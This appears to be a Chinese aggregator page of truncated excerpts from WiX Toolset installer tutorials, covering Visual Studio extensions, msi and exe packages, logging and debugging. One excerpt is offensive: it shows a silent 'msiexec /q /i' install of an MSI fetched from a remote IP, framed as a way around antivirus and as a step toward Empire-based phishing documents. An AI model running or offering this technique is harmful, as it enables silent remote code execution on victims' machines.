Studio 解决方案 使用 WiX 创建一个简单的 msi 安装包 exe 格式安装包的 Hello World 安装 WiX Toolset 工具集 安装 WiX Toolset Visual Studio...解决方案 使用 WiX 创建一个简单的 msi 安装包 为 WiX 制作的 msi 安装包添加 .NET Framework 环境检查 使用 WiX 创建一个简单的 exe 安装包 为 WiX 制作的...exe 安装包添加 .NET Framework 前置的安装步骤 使用 WPF 制作安装界面的 Hello World 安装 WiX Toolset 工具集 安装 WiX Toolset Visual...Studio 插件 准备一个用于学习 WiX 安装包制作的 Visual Studio 解决方案 使用 WiX 创建一个简单的 msi 安装包 使用 WiX 创建一个简单的 exe 安装包 为 WiX...创建最简单的安装包过程中可能出现的问题和解决方案汇总 如何查看用 WiX 制作的安装包的日志 如何调试用 WiX 制作的安装包 具体问题 用 WiX 制作安装包:设置的 .NET Framework
本文是 WiX Toolset 安装包制作入门教程 系列中的一篇,可前往阅读完整教程。...本文介绍安装 WiX Toolset 的两款 Visual Studio 插件,以便你能直接在 Visual Studio 里完整整套安装包的制作,无需使用命令行工具。...关于插件 Wix Toolset Visual Studio Extension 为 Visual Studio 带来了这些功能: 通过模板创建 WiX 项目 支持 .wixproj 这个 WiX 专属的项目格式...安装插件 截至目前(2021年7月),WiX Toolset 的 Visual Studio 扩展最高支持到 VS2019,因此你需要在不高于 VS2019 的扩展管理里面下载插件。...教你如何将 VS2019 的 VSIX 扩展/插件项目迁移到 VS2022 本文会经常更新,请阅读原文: https://blog.walterlv.com/post/getting-started-with-wix-toolset-installing-visual-studio-extensions.html
本文是 WiX Toolset 安装包制作入门教程 系列中的首篇,可前往阅读完整教程。 WiX 提供一组工具集,我们的安装包正是通过这一组工具集来编译生成的。...这份安装包可帮助我们更简单地部署好 WiX Toolset 的构建环境。...nuget 安装 以上方式均为全局安装,如果是团队合作,要求所有维护 WiX 安装包的开发人员都安装好 WiX Toolset。...使用 NuGet 的方式是按项目安装的,仅此解决方案(sln)有效。安装了此 NuGet 包的项目将可完全使用 WiX 工具集(因为包里包含了构建安装包需要的 MSBuild 属性)。... 如果感兴趣通过 NuGet 的方式来安装 WiX Toolset,我可以再写一篇专门使用此方式安装并在团队所有人电脑上可直接构建安装包的博客
WIX软件打包肯定多很多同学也都不陌生,但如何使用WIX对数据可视化大屏进行OEM打包,有很多同学不太清楚具体过程,今天这里就为大家介绍一下,关于如何用WIX打包工具完成对Wyn安装包的打包。...1.阅读帮助文档 OEM流程与示例 2.在官网(https://wixtoolset.org/)下载WiX Toolset build tools 进行安装,点击 Install 进行安装 3.Visual...Studio 安装Wix Toolset Extension扩展功能 4.在vs中创建项目,设置项目名称 5.将Wyn安装包,OEM文件放入项目中,新建的WynInstaller文件夹中 6....> <Bundle Name="Bootstrapper1" Version...7.获取安装包 在项目的debug文件夹中会生成对应的oem安装包。 关于其中WIX生成项目中更多使用问题,大家可以自行研究。此教程属于基础版OEM安装包生成过程。
本文是 WiX Toolset 安装包制作入门教程 系列中的一篇,可前往阅读完整教程。 前面我们制作完成了一个简单的 exe 安装包。...,以便后续步骤可以使用更专业的词汇来准确描述我们正在做的事情。... 元素负责定义如何安装一个产品,而 元素负责定义如何安装一组包。...“Reference”上右键,“添加引用…”; 在打开的“Add Reference”窗口中确保选中的是“浏览”标签,然后在查找范围中找到 Wix Toolset 的安装目录(如果没改,那么应该在 C:...WiX 已开源,其中 wix3 的代码在这里: wixtoolset/wix3: WiX Toolset v3.x 在 /src/ext/NetFxExtension/wixlib 目录下有已定义好的各种
本文是 WiX Toolset 安装包制作入门教程 系列中的一篇,可前往阅读完整教程。 前面我们制作完成了一个简单的 msi 安装包。...…”; 在打开的“Add Reference”窗口中确保选中的是“浏览”标签,然后在查找范围中找到 Wix Toolset 的安装目录(如果没改,那么应该在 C:\Program Files (x86)...\WiX Toolset v3.11\bin 这样的地方); 在文件列表中找到“WixNetFxExtension.dll”; 点击“添加”; 点击“确定”。...在 WiX 的配置文件 wxs 里,引用一个属性的方法是使用 元素。...可供判断的 .NET Framework 版本 WiX 已开源,其中 wix3 的代码在这里: wixtoolset/wix3: WiX Toolset v3.x 在 /src/ext/NetFxExtension
WiX Toolset 是属于 .Net 基金会的一个项目,本文将简要介绍该项目相关的信息。 中文介绍 中文介绍内容翻译自英文介绍,主要采用意译、如与原文存在出入,请以原文为准。...WiX Toolset 如果你想构建一个 Windows 安装工具,那么 WiX Toolset 已经准备了一组强大的工具随时待命。...创建安装包的过程可以无缝的接入你的开发过程中,完美与 Visual Studio 集成。...而假若需求并不复杂,那么 WiX Toolset 就是一个有力的替代方案。 因此,作为免费方案被很多开源软件所使用。...英文介绍 WiX Toolset WiX Toolset provides the most powerful set of tools available to create your Windows
本文是 WiX Toolset 安装包制作入门教程 系列中的番外篇,可前往阅读完整教程。 用 WiX 制作安装包还是有些门槛的。...本文记录一些跟着教程做时可能遇到的常见问题,帮助你在遇到问题后能及时找到解决方案。如果看完还没有解决你的问题,欢迎留言探讨,也可以尝试 调试 WiX 制作的安装包。...getting-started-with-wix-toolset-the-pit-you-might-step-on.html ,以避免陈旧错误知识的误导,同时有更好的阅读体验。...本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。...欢迎转载、使用、重新发布,但务必保留文章署名 吕毅 (包含链接: https://blog.walterlv.com ),不得用于商业目的,基于本文修改后的作品务必以相同的许可发布。
自己技术菜,不是很了解原理,在这里就分享下我的利用方法,以及如何绕过杀软弹窗,大佬们轻喷!...这里解释下参数的意义: /q --以安静模式运行 /i --官方解释是状态消息,不加的话会弹出Windows Installer框引起怀疑 C:\Program Files (x86)\WiX Toolset...v3.10\bin>candle.exe calc.wix C:\Program Files (x86)\WiX Toolset v3.10\bin>light.exe calc.wixobj C:\...Program Files (x86)\WiX Toolset v3.10\bin>msiexec /q /i http://192.168.10.18/calc.msi 注意:Cmd需要以管理员身份运行...,利用模板文件默认打开电脑计算器,若要执行其他命令请自行修改模板文件的第15行 0x03 下面使用empire和上述的方法制作一份钓鱼文档。
本文是 WiX Toolset 安装包制作入门教程 系列中的一篇,可前往阅读完整教程。 本文将带大家制作一个简单的 msi 安装包。.... -->”: 把周围的“Component”解除注释(因为我们真的要加打包的文件了); 删除“TODO”注释(本教程会继续教你如何完成打包,不需要 TODO 提示了); 在“Component”块中添加一行...> 本文会经常更新,请阅读原文: https://blog.walterlv.com/post/getting-started-with-wix-toolset-msi-hello-world.html...本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。...欢迎转载、使用、重新发布,但务必保留文章署名 吕毅 (包含链接: https://blog.walterlv.com ),不得用于商业目的,基于本文修改后的作品务必以相同的许可发布。
本文是 WiX Toolset 安装包制作入门教程 系列中的一篇,可前往阅读完整教程。 严格来说,本文算不得教程,只是带大家创建一个需要被打包的项目。...如果你本身对使用 Visual Studio 开发非常得心应手,本文完全可以跳过,你可以用你的任何一个现成的项目进行练手。 创建示例项目 我这里拿一个控制台项目示例,当作被打包的对象。...▲ 创建 Git 存储库 ▲ 仅限本地 现在,我们已经准备了一个最简单的项目,可以开始后续 WiX 打包的正式学习了。...本文会经常更新,请阅读原文: https://blog.walterlv.com/post/getting-started-with-wix-toolset-create-a-new-learning-vs-solution.html...欢迎转载、使用、重新发布,但务必保留文章署名 吕毅 (包含链接: https://blog.walterlv.com ),不得用于商业目的,基于本文修改后的作品务必以相同的许可发布。
本文是 WiX Toolset 安装包制作入门教程 系列中的一篇,可前往阅读完整教程。...Toolset 的安装目录(如果没改,那么应该在 C:\Program Files (x86)\WiX Toolset v3.11\SDK 这样的地方),找到 BootstrapperCore.dll...并且此方法也能确保 WiX 打包项目使用的工具集版本和 WPF UI 项目使用的工具集版本一致。...为了保证教程依然便于入门,所以我使用单独安装 WiX 工具集的方式来讲解。 如果大家感兴趣使用 NuGet 的方式来完成整个打包项目的构建,替代现在单独安装的方式,我可以单独再写一篇高级教程。 2....请回到目录: WiX Toolset 安装包制作入门教程 运行效果: 关闭这个界面后,安装程序也将退出。 附源代码 附上必要的源码,避免你在阅读教程时因模板文件的版本差异造成一些意料之外的问题。
如果你使用 WiX 制作安装包,并且遇到了问题,一定需要一个趁手的调试方案。本文介绍如何查看 WiX 制作的安装包的日志。...WiX 使用 Burn 引擎来制作 exe 捆绑包,默认情况下 Burn 引擎使用自带的安装界面来执行安装。...\Walterlv.Demo.MainApp.exe -l "debug.log" 其中,Walterlv.Demo.MainApp.exe 是我在 WiX 入门教程系列中使用的安装包名。...-l "debug.log" 表示在当前目录下使用“debug.log”文件记录日志。...欢迎转载、使用、重新发布,但务必保留文章署名 吕毅 (包含链接: https://blog.walterlv.com ),不得用于商业目的,基于本文修改后的作品务必以相同的许可发布。
本文是 WiX Toolset 安装包制作入门教程 系列中的一篇,可前往阅读完整教程。 本文将带大家制作一个简单的 exe 安装包。...注意,选择的模板要注意这些要点: 图标上标记了“wix”,标签上标记了“WiX” 模板简介中说明这是在创建“EXE”文件 创建完后,记得去项目属性里改一下输出的文件名。...> 本文会经常更新,请阅读原文: https://blog.walterlv.com/post/getting-started-with-wix-toolset-exe-hello-world.html...本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。...欢迎转载、使用、重新发布,但务必保留文章署名 吕毅 (包含链接: https://blog.walterlv.com ),不得用于商业目的,基于本文修改后的作品务必以相同的许可发布。
WiX是Windows Installer XML的简称,它是用于制作Windows安装包的工具集。它支持命令行环境,开发者可以及将它集成到他们的编译过程中创建MSI和MSM安装包。...更多信息可以参考:http://wix.sourceforge.net/ 最近研究了一下如何使用WiX制作具有时间限制的安装包,下图是demo的效果图。 ?...选择合适的脚本语言(VBScript or JScript)实现定制操作。 2. 选择合适的实际执行上面的脚本。 下面分享我的实现过程: 1....实现一段检查当前时间是否越界的脚本代码,并将它封装到CustomAction中。 使用VBScript比较当前日期和限定日期,小于0表示越界,这时调用WScript想注册表添加坏键。...选择合适的时机执行上述脚本,越早越好。 在本文的demo中,我在PrepareDlg之前执行脚本,对于大多数情况而言,这已经是最早的时机了。
做完VSPackage后,如何打包发布它?其实有很多种打包的方式,在这里我只介绍在VS2008下用Wix制作VSPackage的安装程序。...您首先要下载并安装Wix toolset(http://wix.codeplex.com/)。 创建测试用的VSPackage 新建一个VSPackage项目用来测试。...为了演示安装后的效果,别忘了在向导中给它添加一个Menu Command。 创建Wix项目 新建一个项目,项目类型选择Wix-》Wix Project,如下图: ?...生成用于注册VSPackage的wxs文件 VSPackage要想使用,必须往注册表里添加一些信息,我们用regpkg这个命令来帮助我们把这些信息生成到一个wxs文件里。...> <Product Id="4981e388-4c5f-4d7d-bc29-11fedb49ebea
使用 WiX 的 Burn 引擎制作自定义托管引导程序的 exe 安装包时,你可能会遇到这种情况:明明目标电脑上已经装好了 .NET Framework,但无论如何就是会提示安装,始终不启动自定义的安装界面...解决 可按下面的配置作为参考,将你的配置改到正确(参见我的 WiX 入门教程): 1 2 3 4 5 6 7 8 9 10 11 12 13 <?...Using Burn 奇葩史的奇葩事 - [译]:WiX Toolset使用技巧——使用Burn引擎安装.NET Framework 官方文档示例的注释中要大家改 host/@assemblyName...本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。...欢迎转载、使用、重新发布,但务必保留文章署名 吕毅 (包含链接: https://blog.walterlv.com ),不得用于商业目的,基于本文修改后的作品务必以相同的许可发布。
WiX 本身很强大,使用本来也没那么难。奈何 WiX 3 的官方文档可读性极差且长期不更新,于是新手在使用 WiX 制作安装包时极容易出问题,导致制作的安装包各种行为不正常。...虽然我写了一系列的 WiX 安装包入门教程来帮助大家避坑,还写了一些常见问题的解决方法,但大家遇到的问题总会比我整理的要多。所以教大家 查看日志 很多时候,看日志能帮助你快速找到原因。...以下是查看日志的方法: 如何查看用 WiX 制作的安装包的日志 Debugger.Launch() 如果安装过程能执行到你编写的 C# 代码中,那么可以在入口处加上 Debugger.Launch()...本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。...欢迎转载、使用、重新发布,但务必保留文章署名 吕毅 (包含链接: https://blog.walterlv.com ),不得用于商业目的,基于本文修改后的作品务必以相同的许可发布。
Open in Editor 2017 – Visual Studio Marketplace Image Watch:OpenCV可视化界面插件,确保VS使用的是debug模式,并且在适当的位置设置的断点...itemName=VisualStudioExptTeam.VSIntelliCode WiX Toolset Build Tools: 安装打包工具 WiX Toolset Build Tools –...Visual Studio Marketplace BuildVision : 使用可视化的编译输出替代文字输出,提供编译期间一些快捷的干预按钮 BuildVision – Visual Studio...,生成多种格式的帮助文档,在Visual Studio中使用智能源代码拼写检查器。...:右键菜单新增,用Notepad打开文件,因为Open in Editor 2017插件更好,所以弃用 Open in Notepad++ – Visual Studio Marketplace 5、如何清理全部插件
项目详情 官方网站 项目源码 许可证类型: Apache License 2.0 项目联系人: Eric White, Chris Rae 相关链接 开发文档 如何使用 SDK 参与讨论 笔者简评 官方开源的用于处理微软...Office 的 DOCX, XLSX 和 PPTX 之类的文档操作库。...与其具备类似功能的库还有名声赫赫的 Aspose 收费库和 NPOI 免费库。...跨进程通信框架】 Windows Phone Toolkit - 【WP 工具库】 Windows Template Studio - 【UWP 项目模板】 Windows Forms - 【客户端开发框架】 WiX...Toolset - 【安装包制作框架】 WorldWide Telescope - 【宇宙探索工具】 Windows Presentation Foundation WPF - 【客户端开发框架】 Xamarin.Auth
领取专属 10元无门槛券
手把手带您无忧上云